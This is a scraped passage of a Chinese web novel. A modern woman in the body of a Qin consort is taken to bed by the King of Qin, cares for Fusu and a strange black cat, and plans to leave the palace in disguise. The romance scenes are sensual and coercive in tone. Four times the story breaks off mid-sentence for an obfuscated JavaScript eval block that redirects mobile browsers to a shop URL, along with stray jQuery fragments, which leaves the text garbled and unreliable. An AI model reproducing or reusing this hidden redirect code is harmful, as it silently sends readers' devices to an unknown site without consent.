浴桶里漂着新鲜花瓣,还有淡淡的奶香飘上来,姜暖稀里糊涂的被按进浴桶,被她们细细又轻柔地搓洗了一番,每个角落都没放过。 而后她又被要求,换上了一件轻薄的齐胸纱裙。 这样的衣服,双肩赤#裸,前胸和大半个后背都雪白地暴露的空气中,即便作为现代人,穿着都觉得羞耻。 不仅如此,就算有衣料遮挡的地方,也薄如蝉翼,如隔层水雾般若隐若现,反倒更显情#色意味。 可她没办法拒绝,因为那显然是其秦王的意思。 明明那样闷骚阴鸷的一个家伙,居然还有这种爱好,果然人不可貌相…… 她阿Q上身,利用精神胜利法在心里对他密集吐槽了一番,然而如此穿着被引入他寝殿时,她还是很没出息地打起了哆嗦。 还是好羞耻啊—— 在她沐浴这工夫,秦王已经换上寝衣,白衣白裤地斜卧在榻边,姿态悠然,手里还捧着书简。 他的一举一动都像是在说明,女人哪有事业重要,他唤她来,只是抽空发泄下欲#望,仅此而已。 姜暖深吸一口气,一手抓着另一只手臂,半挡在身前,试图遮去一些羞耻,迈着沉重步伐往前又挪蹭了几步。 心房回荡着巨大的震荡声,她鼓起全部勇气,满面红霞的抬起水波潋滟的眸子,却忽地愣住了。 眼前的秦王,乌发松散,披垂在肩头,虽然容色依然流露着些许凌厉,却因着那一头乌黑温柔的发丝与鸦羽般浓长睫毛,而显得没那么咄咄逼人了。 还就……挺好看的。 侍女熟练退去,姜暖扭捏半天,才蚊子嗡嗡般开口唤道:“王……上。” 小猫一样的嗓音,勾挠着人的心弦。 秦王缓缓从手中书册上扬起目光,眼神慢条斯理将她从头打量到脚,最后落在她晕染开一大片桃红色的面颊和皓白长颈上。 姜暖被他看得局促不安,两条手臂在胸前交叠得越发紧密,随着紧张的呼吸,胸口不受控制地剧烈起伏,玉峰颤颤,呼之欲出,却偏偏被桎梏着,一起一伏间看得人心猿意马。 他喉结滑动,沉默地注视着她,手指在竹简上慢慢收紧,竹片裂开细小缝隙的声音在寂静中分外明晰,吓得姜暖连忙把头又埋了下去,脑子里乱嗡嗡一片。 方才触及他的眼神,虽然仍覆着一层淡漠的薄霜,但那层霜雪下面,有团炙热在静静焚烧,令他的眼神看上去,深沉又灼热,说不出的复杂。 姜暖被他的视线烫得心口发麻,她红唇动了动,忽然特别想落荒而逃。 逃离他的房间,逃离他的气息,逃离他的注视。 可她不能。除了不敢,更是因为她一定要侍寝成功,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178323|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然的话,以后还是没有保障。 耳畔传来轻微响动,接着,她面前覆下一道高大的阴影,将她罩得严严实实,无处遁逃。 姜暖壮起胆子,抬起一双水眸,勇敢与他对视。 她的眼睛生得极美,乌黑如杏,柔情楚楚,望向人的时候无端就带上一股能仿佛滴出水的缱绻情态,饶是再铁石心肠的人,心也会软下去几分。 然而秦王的心,却是比铁石还坚硬,即便眼底的炽热仍在焚烧,表层的冰霜却并未融化分毫,反而更加坚固坚定。 他带着一丝偏执,深深望进她的眼眸,直到在她晶亮的眸光中,看见自己的面容: “今日,你为何邀请李斯?” 他问道,嗓音沉晦低哑,朝她又迈近一步。 姜暖周身全是他的气息,既温热又冷冽,充满侵略性,她打了个哆嗦,身体下意识想往后躲,却被他一掌按住后腰,逃无可逃。 “妾听、听说王上您很中意他,所以就想邀……邀他过来。”姜暖紧着头皮,磕磕巴巴回答道。 秦王显然并不相信,但这个说法又确实无懈可击,毕竟一个昏迷四年的女人,无论如何也没办法跟两年前才入秦的李斯,产生任何利益瓜葛,更没必要扶持提拔他。 “你不是失忆了吗,对这种事情倒是挺上心啊?” 手掌微微收紧,薄纱泛起层层褶皱,他攫住她的目光,轻声哼笑道,没有放过她眉目间的任何细小变化。 姜暖努力让自己的神情无辜又单纯,她垂下长睫,尽量遮住眼中神色,不然她根本无法在他这样的注视下,撑过三秒。 他苍劲的手指,忽然触上她面颊,激得她浑身一阵酥麻。 滚热的指尖,带了几分轻佻,沿着她面颊,缓慢划过下颚、喉管、锁骨,一路逶迤到胸口,最后别有深意地轻勾在那道深深的沟壑之间。 只要他稍稍用点力气向下勾拽,它们便会立刻跳脱而出,雪白地晃动。 姜暖整个人都僵住了,几乎连呼吸都没有了。 不过有一点好处,看秦王这个架势,今晚大约是不需要自己主动做什么了…… “你是真的失忆了啊,芈蓉。” 他的声音很低,有点像呢喃,又有点像自言自语,手掌倏地用力,将她整个人都压到身前,毫无征兆俯下唇,吻上她白皙清透的耳垂。 姜暖的僵硬一点点融化,像水一样滩在了他怀中,任他啃咬厮磨,整个身体都变得轻飘飘的。 半分钟后,他松开她红色充血的耳垂,唇瓣流连辗转到耳廓旁,极轻地,带着一丝戏谑,说道: “那日,你就穿成这个样子,哭着求寡人宠幸你,连这个也都忘记了,是吗?” 姜暖悚然大惊,脸上如有火烧。 她忽然不想侍寝了,心里陡然生出一种极度畏惧的感觉,她小猫般推着他强壮坚硬的胸口,却无法将他推开分毫。 他被她的反抗激起一丝愠怒,或者说情#欲,手掌按上她的后脑,俯下身,不由分说吻住了她樱桃般娇艳的唇。 那是一个深长又带点惩罚性质的吻,姜暖一开始还在细弱挣扎,后来竟很没出息地被吻出了感觉…… 抑或者不是她的感觉,而是这具身体,长年累月被宠幸,形成的条件反射。 她渐渐妥协柔软了下来,喘息着被他打横抱起,一步步走向榻边。 烛油爆出一个烛花,毕剥一声,继而熄灭,无人在意。 幔帐摇曳,银钩轻晃。 长夜漫漫,玉软花柔,浓情绵绵。 19.黑喵 清晨姜暖醒来的时候,身边已空空如也。 她眼眶还洇红着,隐隐可见盈盈泪珠,裹着被子在榻上蜷缩、蠕动,只露出半截雪白浑圆的肩头。 床帐外有侍女闻声陆续走进来,在帐外垂首而立,随时等待她的吩咐。 她羞窘地赶走了她们,直到确定人都退到寝殿外,才土拨鼠一样探出头来,手指颤颤地穿好里衣和曲裾。 她甚至没敢去看身上大片大片的痕迹,和那条被四分五裂的纱裙,只觉得浑身的血液都在往面颊和耳膜上涌动,让她的脑袋烫得快要裂开了。 她尽量快速的穿好衣服,下榻时脚一软,差点扑倒在地砖上。 昨夜他将她折腾得紧,她一开始还小心翼翼迎合讨好,后来被他欺负得只剩下低低的啜泣,还有那一声声令她回想起来都面红耳臊的柔柔叫唤—— 他让她叫他的名字,她实在没那个胆儿,便忍着羞耻,抽噎着一遍遍唤他“王上”…… 她揉揉眼眶,撑着床柱慢慢站稳,这才感到全身的肌肉每一块都沥着酸痛。 她委屈地抿紧唇瓣,拒绝了侍女服侍沐浴的请求,拖着仿佛被碾压过的身体,一瘸一拐回到芷阳宫。 秋穗她们早就神清气爽在门口候着了。她去侍寝,她们自然高兴,热水也已备好。 看样子,原主先前也不大习惯在章台宫沐浴。 姜暖放松神色,遣走其他人,只留秋穗在外待命,然后鬼鬼祟祟钻进浴室,躲在屏风后面,正要脱衣服,秋穗就搭着几条长巾喜滋滋进来了。 显然她没明白“在外面待命”,具体是什么意思。 “哎呀,我来吧。”她连忙上前,不由分说帮姜暖褪下曲裾。姜暖下意识躲闪一下,拉扯间,里衣敞开大半,露出一些暧昧的红痕。 小丫头呆住,手指停在她衣襟边缘。 事已至此,姜暖索性也不扭捏了,任由她反过劲来帮她将剩下的衣物一一褪去,抬脚迈进木桶。 秋穗小心翼翼为她擦洗,眼睛却始终没法不去看那些令人遐想的斑驳印记。 它们从锁骨,蜿蜒滑过高耸玉山,再密密麻麻蔓延到小腹,最后落在纤腰两侧的,是两道轮廓明细的掌印。 很大,几乎掐住了她整个腰肢。 “王上也太不知道疼惜您了,明明您才大病初愈……”秋穗心疼地道,放轻了擦洗的动作,眼眶忍不住湿润起来。 姜暖哼唧一声,想起他昨夜的予取予夺,耳朵忽地一烫,将半张脸都埋进了水里。 果然那天她猜测的不错,王上来看她,并不是蜡烛的缘故,而是馋她的身子了。 到底还是臭男人,想着的永远都是下#半身的事…… 虽然有些悲哀,却又不得不承认,经过这一夜,她与秦王的关系,明显破了一层冰。 这种感觉很奇妙,就好像借由着身体的联结,某些东西开始变得随意起来,她虽然依旧畏惧他,却又与先前的那种畏惧不大一样。 不过,她没时间分析这种哲学问题。她将下巴搭在屈起的膝盖上,思考接下来要如何做,才能让他们的关系更进一步。 自然不是爱情关系,帝王的爱幻想一下也就罢了,在现实中当回事怕是会落得个身首异处的结局。 目下看来,秦王大概是接受她了,虽然心底可能还恨着她——这种可能性极大,否则昨夜也不会那样将她折腾。 但不管怎么说,也算是进步了。 她复又乐观起来,努力将昨夜的种种从脑海屏蔽出去。 她不能去想,不然心绪会乱,心绪一乱,整个人都会变得很奇怪。 沐浴完毕,她香喷喷吃了顿早餐,只是床榻上的种种细节,总是趁她毫无防备之时冒尖,令她脸颊泛起阵阵烫意,最后她发现,她其实并不能够完全置之不理。 毕竟是那样深入又持久的交融,还是她的第一次…… 好烦好烦好烦。 她难受地抱住脑袋,扔下筷子,提着裙裾跑到庭院,大口大口地吸气,再慢慢呼出去。 一道小小的身影,在一颗巨大古老的槐树下伫立着,姜暖慢慢朝他走过去,在他身旁蹲下来。 “扶苏,吃过早饭了吗?”她问道,发觉嗓音有点哑,连忙清了清喉咙。 “吃过了,阿母。”扶苏黑眼睛转向她,眉宇间是忧郁的神色。 姜暖看看他,又仰头望了眼大树,一目了然:“还在等那只黑猫吗?” “嗯。”扶苏点头,“它受了伤,也不知道这两天有没有恢复。” “真是个善良的好孩子。”姜暖怜爱地揉了揉他头顶,喉咙里暗搓搓咽下一句“和你父王一点也不一样”。 然而扶苏却轻轻摇头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188319|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是的,阿母,我只是觉得它有种特别的亲切感,就好像一个曾经十分熟悉的朋友,所以我一直很担心它。宫中不允许养小动物,我怕它会被巡逻队捉到,今早偷偷问了蒙恬,他没听说哪里发现过黑猫,我这才松了一口气。” 接着,扶小苏指了指树下盘子里的两条小鱼,一本正经继续道:“猫都爱吃鱼,我想它一定也会被吸引过来的。” 黑猫被没被吸引过来姜暖不知道,但树上立着的两只燕尾鸢,可是一直目光灼灼地盯着小鱼干,怕是他们一离开,就会俯冲而下,将鱼肉据为己有。 不过和扶苏聊天,倒是成功让她将秦王屏蔽在了信号外。她陪着他蹲了一会儿,直到身体里某处隐痛不足以继续支撑姿势,才牵着他的手,和他一起往回走。 果然前脚一走,就传来翅膀扑腾的声音,扶苏想回头,姜暖却像怕孩子看见血腥画面那样,一手挡住了他的眼睛,连哄带骗将他忽悠进寝殿。 今日学堂休息(其实每周也只有四天上课),姜暖打算将这一整天都用来陪扶苏。小朋友目前好感度33了,距离她返回现代,还有67分。 顺带着再想想,要如何继续拉近与秦王的关系。 帝王心,海底针,可不是儿戏,稍有不慎就会陷入万劫不复。 说实话,她真的挺为难。她这个人,一点都不擅长耍手段、玩心机,很多事情她能看得明白通透,但要让她做,她完全做不来。 她最擅长的其实是躲避,而非主动出击。 可现在的处境,不允许她躲,不仅不能躲,还要绞尽脑汁揣摩君心,为自己谋得一条生路。 可真把她难死了。 更别提她要揣摩的那个人,还是有“千古一帝”之称的秦始皇。她连上司的小心思都揣摩不透,竟一下子要面临这种地狱级别难度,真还不如杀了她算了—— 正愁眉苦脸之际,扶苏惊呼一声,接着她感到一道黑影从眼前掠过,脑门还被一根毛绒绒的东西重重甩了一下。 嘶嘶,好疼。 姜暖捂着脑门,气愤地看过去,却见一只身形极漂亮的黑猫,轻巧地落在他们面前的桌案上,尾巴竖得老高,黄澄澄的眼睛圆睁,一双微微竖立的瞳孔,愤怒而凶悍地盯着他们。 确切地说,是盯着她。 姜暖的脊背,没来由的蹿起一阵寒意。 21.留宿 “妾确实有事想和王上说。” 快速思考一番后,姜暖决定坦白说出自己的诉求。 “哦?何事啊?”他握起茶盏,啜了一口,语气带着漫不经心,仿佛刚才的意味深长不过是错觉,他可没打算吓唬她。 “妾害怕……被人加害。”她先拿自己打头阵,“毕竟之前发生了那样的事,刺客也没有找到——” 说罢,抬起两片乌黑的小刷子,偷偷观察他的神色。 “这个你无需担心,寡人已经为你寻了个靠谱的保护者。”秦王俯下视线,瞅了她一眼道。 姜暖脑中一下子冒出很多个人选,蒙恬、蒙毅?总该不会是赵高吧? “是谁呀?”她小声询问道,声音像只小猫咪。 “相邦。”秦王淡淡吐出这两个字。 姜暖一个激灵,手一抖,手中茶盏液面轻轻晃动了一下。 “可是,可是相邦曾经提议想要处死我——”她几乎脱口而出。 “你失忆了,这事倒是记得清楚。”他戏谑道。 “我又不是傻瓜,这样重大的事,肯定会问身旁的人啊。”姜暖有点委屈,感觉他时时刻刻都不忘记试探自己。 “他不会再那样做了。”秦王转眸望向面前跳跃的火苗,重重烛光笼罩下,他的脸忽明忽暗,深邃沉稳,“他本就是商贾出身,商贾最看重的便是利益与价值,现在再处置你,两者他都占不到。” 姜暖完全没听明白,睁着一双懵懂的眼睛,呆呆望向他。 嬴政从火光中收回视线,看她一脸呆相,嘴角忍不住轻轻勾起: “寡人已经决定了,盟楚攻赵。相邦也很赞成这个决定。在大事上,他从不含糊,自然也不会在这样关键的时刻与你过不去。” 姜暖这才有些了然。她是楚国派来的“和亲”对象,相邦此时不仅不会害她,更会好好“照顾”她,不让其他人伤害她。 说白了就是,她现在很有价值。 突然,有个念头在脑中浮现:他是不是因为要与楚国结盟,才主动亲近她的? 她不喜欢这个念头,咬着牙将它压下去。 “王上,您知道是谁想要害我,是吗?”为了转移注意力,她有点鲁莽地问了一句。 本以为他会避而不谈,然他却直望她的眼眸,语声淡淡回答道: “寡人知道,但寡人无法处置那人。不过,寡人可以向你保证,她不会再下手了。” 这句话,等于告诉她幕后黑手是谁了。 因为早已从韩太妃那里知晓一切,她心中并没有多大波澜,垂眸思索片刻,她身体向后挪蹭几步,而后躬身拜了一拜。 “还有件事,妾代韩太妃求王上施以援手。”她直起腰来,坦诚说道,“几日前,太妃来找过我,想让我救救成蟜,她害怕您离开后,太后和相邦会对他不利,妾虽然一直记挂这件事,却始终不敢和王上您提起,毕竟之前……曾发生过一些事情,但妾这次是真心为他们感到担忧,求王上想想办法,救救成蟜吧。” 秦王安静地听她叙说,眸光在跳跃的光线中,时而明亮时而晦暗。 话毕许久,他都没有言语,就在姜暖红唇微张,打算再求求情时,他微微向前倾过身子,双目幽深漆黑,猎人般盯住她湿漉漉的杏眸。 “芈蓉,寡人实在是不理解,既然已经没有了过去的记忆,为何还对成蟜、对太妃有那样充沛的情感?你方才求情的口气,可一点都不像对他们一无所知啊。” 竟在这儿埋伏着呢…… 姜暖有点欲哭无泪,她努力避开一个坑又一个坑,哪知面前男人竟如此多疑,处处留心她的破绽,就像是处心积虑想要揪住她的小辫子,证明她没有失忆,而是在撒谎。 她实在不明白,他为何对这点如此执着。 “……因、因为太妃她实在太可怜了,妾也是母亲,多少能感受到她的恳切与绝望。”姜暖嘴唇轻轻发颤道。 她方才的“情感充沛”,是因为拥有上帝视角,知晓成蟜很快就要噶了,不自觉带上了几分急迫。 秦王的眸子玄玉般静静凝望她片刻,忽然薄唇微扬,抬手一根食指,摁上她嫣红的唇,轻轻地摩挲起来。 姜暖下意识想要躲,但耳朵里有个声音告诉她不许动、不能动,她只好颤抖着任他挑逗,任他将口脂擦蹭出唇瓣,在雪白嘴角旁扯出一抹凌乱的红。 心口和太阳穴一起急跳如擂鼓,她想自己现在的样子,胆怯、紧绷又瑟瑟发抖,一定可笑极了。 “你在说谎。” 他忽然停住摩挲,俯下脸,朝她逼近,鼻尖擦过她秀挺的鼻梁,和着龙涎香的热息在她颊边炽热浮动。 姜暖浑身发烫,小手防御性地抬起来,却发现自己并没有胆量将他推开,又讪讪垂了下去,瞪大眼睛看着他与她鼻梁相触,额头相贴,唇瓣若即若离。 只要他们中谁人轻动一下,他们的唇就会紧密贴合起来。 “你在撒谎,芈蓉。”他又重复了一遍,每一个音节都擦过她柔软的唇,“今日你的请求,寡人应下了。但你撒谎,寡人很不高兴。” 他的声音温柔,却透着一股肃杀的气息,姜暖有些承受不住,有那么一瞬间,甚至想要跪在地上,自爆身份,求他处置。 他到底是从哪里看出端倪的呢?仅仅因为她的“情感充沛”吗?肯定不是,一定还有别的地方暴露了…… 忽然,她的瞳孔一瞬间张大。 她看见了那只黑猫,不知何时从黑暗中无声无息跳了出来,立在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212122|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前面置物架的最顶层,目光幽幽的望着它们。 接着,她看见它做出了一个奇怪的动作。 它弹出一只白亮锋利的指甲,朝自己脑袋指了指,疑似还翻了个白眼,总之一套动作下来,让姜暖瞠目结舌,几乎以为自己出现幻觉了。 然而—— 一个猜测,不知怎的,忽然在她脑中蹦了出来。 他会不会只是在诈她—— “王上……”她垂下睫毛,娇滴滴唤了一声,“妾没有撒谎,真的没有。您为什么就不肯相信呢?” 她的气息清甜若水果,糯糯地喷洒在他线条冷傲的唇上,痒痒的,勾得人心弦躁动。 说话间,唇瓣几次相触,每触碰一次,她就哆嗦一下,仿佛是在与毒蛇贴面相吻。 他闻言,唇缝间溢出一声带着玩味的轻笑,接着她便被一片炙热堵住了呼吸。 她弱弱地挣扎了一下,被他抬手摁住后脑勺,吻得越发凶狠肆虐。 就像是恶狼,在撕咬一只奄奄一息的小兔。 直到她实在喘不过气,断断续续呜呜求饶,他才慢慢将她松开,牙尖仍轻咬她唇珠,像是在惩罚,也像是舍不得离开。 “过去之事,忘记也好。”他终于放过她的唇,面孔微抬,指尖拨开她粘在唇角的发丝,危险却又真诚地笑道,“以后,我们可以重新开始。” 姜暖七上八下的心终于落下来一点,虽然他话语中仍透着某种若隐若现的威胁意味,但总体还是能听得出,是想要与她重修旧好,不计前嫌的。 “芈蓉,寡人希望你无论何时,都要站在寡人这边,明白吗?”他继续说道,嗓音像朔风,凌厉地刮过她耳畔,几乎不容置否。 姜暖还有些讷讷的,半晌才从头昏脑胀中回过神来,连忙积极保证道:“妾、妾记住了,妾会永远都站在王上这边,永远支持王上的。” 这都不必想,穿越来到战国末年,谁不抱秦王大腿。 “你若是胆敢再背叛,寡人绝不会如这般轻易饶恕你了。你要记住这一点,芈蓉。” 随着这话落地,他的一只手已经覆上她后腰。 裙带轻柔,飘落若红花,她还没来得及回应什么,整个人便被欺身压到了案上。 案板冷硬硌人,她不得不抬起双臂,紧紧搂住他脖颈,与他更加紧密地相贴。 激烈晃动中,烛台滚落在地,火焰触到地砖陡然熄灭,周围很快便陷入一片昏暗,只有门口处的支架上,跳跃着几簇羸弱光芒。 还有一道黄澄澄的幽光,默然朝他们凝望片刻,便不声不响消失了。 不多时,暗夜里就只剩下一些不清不楚的响动,还有女子娇娇柔柔的抽搭声,和着案板晃动的频率,水波一样一圈圈荡漾开来。 22.大胆的计划 早上,姜暖揉着腰从床上爬起,梳洗完毕来到侧殿时,早饭已经摆了满桌。 扶苏乖巧地端坐在案边,拿木勺往一只碗里舀鱼汤。 姜暖压下一个哈欠,正要绕过他朝对面自己的位置走去时,却发现位置已经被占了。 那只黑猫,正趾高气昂地坐在原本属于她的主位,脊背抻得拔直,尾巴游来游去,以鼻孔瞪了她一眼,胡须抖抖,眼神高傲,一副睥睨不屑的架势。 姜暖脸立刻黑了下来。 一只猫而已,还真把自己当皇上了?居然敢明目张胆抢自己的主位—— 她愤愤地叉起腰,很想捏住它的后颈将它从垫子上扔出去,然一想到它锋利的爪子,又立刻怂了,心想大人不记小人过,一只猫而已,看在扶苏的份上,就不和它一般见识了…… 扶苏将盛好的鱼汤往前推,推到黑猫面前,黑猫盯着汤瞅了瞅,嗅了嗅,然后慢慢垂下圆滚滚的脑袋,一口一口舔食起来。 姜暖屈膝在扶苏旁边坐下,没好气地瞪它一眼,忽然想起了昨晚的那一幕: 它像人一样,拿手指指着脑袋,疑似还翻了白眼,仿佛在冲她说:“蠢货,动动脑袋行不行”—— 她能识破秦王的试探,也正是拜此所赐。 应该是太过慌张出现的错觉吧,猫怎么能做出人的动作和神情呢? 它昨夜确实可能出现在了那里,但动作和神态什么的,应该都是她头晕眼花下脑补的…… “你——真的是猫吗?”她咕哝了一句。 黑猫从鱼汤上抬起眼睛,一边吧唧着嘴,一边傲慢地看她。 又是这种眼神。姜暖嘟起嘴巴,拿筷子朝它点了点: “猫都会喵喵叫,你怎么一点都不叫呢?该不会是妖怪变的吧?来,叫两声听听,喵喵喵……快叫啊。” 她的语气有点像流氓调戏小姑娘。她就是故意的。 然而,黑猫淡定地无视了她,甚至还以更加流氓更加嚣张的眼神,扫了眼她艳丽红润的鹅蛋脸,和饱满凸起的胸脯,最后慢条斯理地埋下头继续喝汤。 姜暖愣住,半晌才意识到自己被一只猫吃了豆腐,气得磨牙,却又无可奈何。 这可真是找了个祖宗进来。 “阿母,我们给它起个名字吧。”扶苏扭头看向她。 “你还真是喜欢它呀。”姜暖有点酸溜溜的,脱口而出道,“那就叫它‘陛下’吧,我看是再合适不过了。” “‘陛下’是什么呀?我从来没听说过这个词。”扶苏皱起眉头,努力在记忆里搜寻。 他自然是不知道,因为这个词是他爹统一天下后首次采用的,不过—— “‘陛’指的是王上宝座前的台阶,你看这只猫,气质像不像你父王?想象一下你父王从台阶上慢慢下来的样子……” 话虽这么说,但姜暖实际脑补出来的是,长着猫头的秦王迈着猫步从高阶上缓缓而下,想着想着,没忍住扑哧笑了。 而扶苏小朋友,不知脑补到了什么,眼神蹭地一亮,两只小手一拍: “好呀好呀,就叫‘陛下’吧!陛下,你要吃桂花糕吗?是阿母做的哦,阿母会做好多好多点心呢。” 姜暖被夸得有些飘飘然,全然没注意到在她脱口而出“陛下”这个词时,黑猫警惕又疑惑地睇了她一眼,尾巴本能地高高挑起,不过很快又落了下去,继续喝着鱼汤,像是什么也未曾发生过。 扶苏掰下一块糕点,离座绕到它身旁,坐下,手指在它脊背上顺了顺,而后将糕点放在托盘里,庄重地推给它。 姜暖看得头上直冒烟,有点后悔给它起了这个似乎会助长它嚣张气焰的名字。 可恶,明明只是只猫,哪来的这么大派头…… “阿母,昨晚我和它说了好多你的事呢。”扶苏一边抚摸着猫咪,一边抬起白净的小脸看向她,“我对它说,自从你苏醒以后,我每日都特别开心。阿母,你不会再离开我了吧?” 姜暖手中长筷一顿,心口忽然特别特别的疼。 她勉力挤出笑容:“那是自然,阿母不会再离开你了。” 明晃晃的谎言。她忽然十分厌恶自己。 午饭后,她又去了假山旁,依旧没有弟弟的身影。 这回,她彻底慌了,快步返回宫中,拉过秋穗,说让她陪自己散散心。 她只敢带秋穗,其他人她都不放心,毕竟这里面有秦王的眼线,不能掉以轻心。 她们朝着荷花池的方向走去,远远便可看见工人们顶着烈日挥汗如雨,看得她眼眶酸涩,不忍去想弟弟这段时间到底吃了多少苦。 可是他很少提,只在自己抱怨秦王的时候调侃两句,让她差不多知足吧,除此之外,他从不诉苦也不抱怨,就像以前一贯那样。 姜暖直接找到工头,先是问了些毫无营养的关于进度的问题,而后不动声色询问这里面是不是有一位赵国公子。 “是的,不过他已经两日未上工了。” “能为大王干活是他的福气,竟然敢翘工?”她装出愠怒刁钻的样子。 “不是这样的,国夫人。”工头毕恭毕敬道,“听说他——好像遇刺了,现在生死不明。上头也没发话,我就也懒得管,反正我手头人多的是,不差他一个。” 姜暖脑子里轰隆一声巨响,向后踉跄了一下,秋穗大惊,急忙扶住她。 遇、遇刺? 昨日她也只是随意一想,根本就没想到会真的发生这样的事,谁会刺杀他呢? “夫人,你不要紧吧?”秋穗见她面色一下煞白,吓坏了。 “没、没事,许是日头太晒了,秋穗你扶我回去吧。” 回到芷阳宫,姜暖躲在卧房里踱来踱去,心乱如麻。 她一开始还在分析到底是谁要杀弟弟,想来想去毫无头绪,后来转念一想,知道凶手是谁又有何用,现在最关键的是,弟弟到底怎么样了。 “生死不明”这几个大字,在她脑中反复循环,向她传达着不详,她急得如热锅蚂蚁,一不小心,被裙裾绊倒,扑通一声扑在了床上,磕得下巴生疼。 这时冬岚进来通传,说是有人求见国夫人。 姜暖深吸一口气,整理好情绪和衣着,端着长袖来到正殿厅堂,却见来人竟是阿傩。 阿傩一见她,立刻跪地行大礼,姜暖强忍着上前扶她的冲动,轻声说道: “快起来吧。今日怎么入宫了,是太后传召吗?” 阿傩站起身来,她看上去比几天前更瘦了,怀里还抱着那把胡琴。 “不是,下女是入宫领赏钱的,便想着无论如何也要来见您一面。那日多谢夫人相救,阿傩感激不尽,无以言表。” 说着,又拢袖拜了一拜,眼睑泛红。 “阿傩这条贱命,相当于是夫人给的,以后便任由夫人驱使,万死不辞。”她抬起脸庞,无比真挚地言说道,眼中神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221540|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚定而执着。 姜暖头一次听见有人对她说这样的话,一时间有些语塞。她动了动唇,别扭地笑笑,忽然,脑中灵光一闪。 “阿傩,你——现在还住在咸阳城吗?” 阿傩点点头,报了一个地址,说她就住在那里,暂时还不打算离开。 姜暖心中升起一个大胆的想法。 只是有点太大胆了,可却是唯一能让她探知弟弟目下状况的方法。 她屏蔽众人,只留秋穗在一旁。 “阿傩,我确实有一个忙需要你、也只有你能帮。”她上前一步,抓住阿傩的手,“只是很危险,你……愿意帮我吗?” 阿傩犹豫都没有犹豫,果断点头,目光坚定。 “那好。这件事其实很简单,也有很大可能全程都安然无事——我需要你假扮成我一两天,替我留在宫里,而我则扮成你的样子出宫办一件事。” 阿傩目露惊诧,呆呆盯着姜暖看了半晌,像是以为自己耳拙听错了。 “您、您在说什么呢?”秋穗跳到她面前,眼睛难以置信地大睁,“您为何要出宫啊,万一出事了怎么办?” “国夫人,只要是您要求,任何忙我都一定会帮的。只是这位妹妹说得对,外面不比宫中,随时可能遭遇危险,您……真的非要出宫不可吗?若是有必须要办的事情,下女可为您代劳。” 她语声婉婉,口齿清晰,看得出有个很好的出身,只是不知为何流落至此,成为供人取乐的伶人。 姜暖摇摇头,这件事是没法托人办的。 “王上明日一早便出发,大约半月左右才回来。我尽量只出去一天,最多不超过两天,晚上一定会回来的,想必不会暴露。你只管装成我的样子,替我留在宫中,秋穗你贴身服侍,不要让其他人靠近。” 姜暖条理清晰地安排道。 秋穗急得死活不同意,就好像她一出宫门就会被老虎叼走,姜暖板起脸来,摆出一副铁石心肠不为所动的样子,小丫头见说不动,又哭丧着脸要求把她也带走,她可以保护她。 “那我还出得去吗?”姜暖哭笑不得,拍了拍她的脑袋,“好啦,就这么定了,你乖乖保护好阿傩,别让人凑太近。若是真遇到状况,比如谁非要见我,就说我病了,实在应付不了,就去找韩太妃。” 弟弟曾说过他住在哪里,她出宫之后便立刻去那个地址寻找,他若是真受了伤,想必不会走远。 她无论如何也得见到他。 毕竟他是她在这个世界唯一的亲人,也是唯一的依赖与精神寄托。 “既然夫人心意已决,下女自会竭尽全力。但夫人最好还是不要孤身一人。下女有一友人,聪明靠谱,若是夫人不嫌弃的话,可以让他陪在身边。他是外乡人,不会在咸阳久留,下女亦不会将夫人真实身份告诉他,夫人就当是带个护卫在身旁。” 阿傩认真建议道。 姜暖想了想,觉得也有道理,毕竟她是穿越者,对古代社会毫无概念,真要是被谁捅一刀,可就得不偿失了。 “好,那就有劳你了,阿傩。” “这是应该的。等下回去我就和他说一声,明日让他来宫门外接您。” 阿傩说,脸上绽放出光彩,像是终于觉得自己有了某种价值一般,看得姜暖莫名心酸。 “他应该比您略小些,不过人很老成,在家排行老三,您叫他阿季就行。” 她复又补充道。 23.山楂 阿傩离开后,姜暖坐在后花园梨树下发了会儿呆。 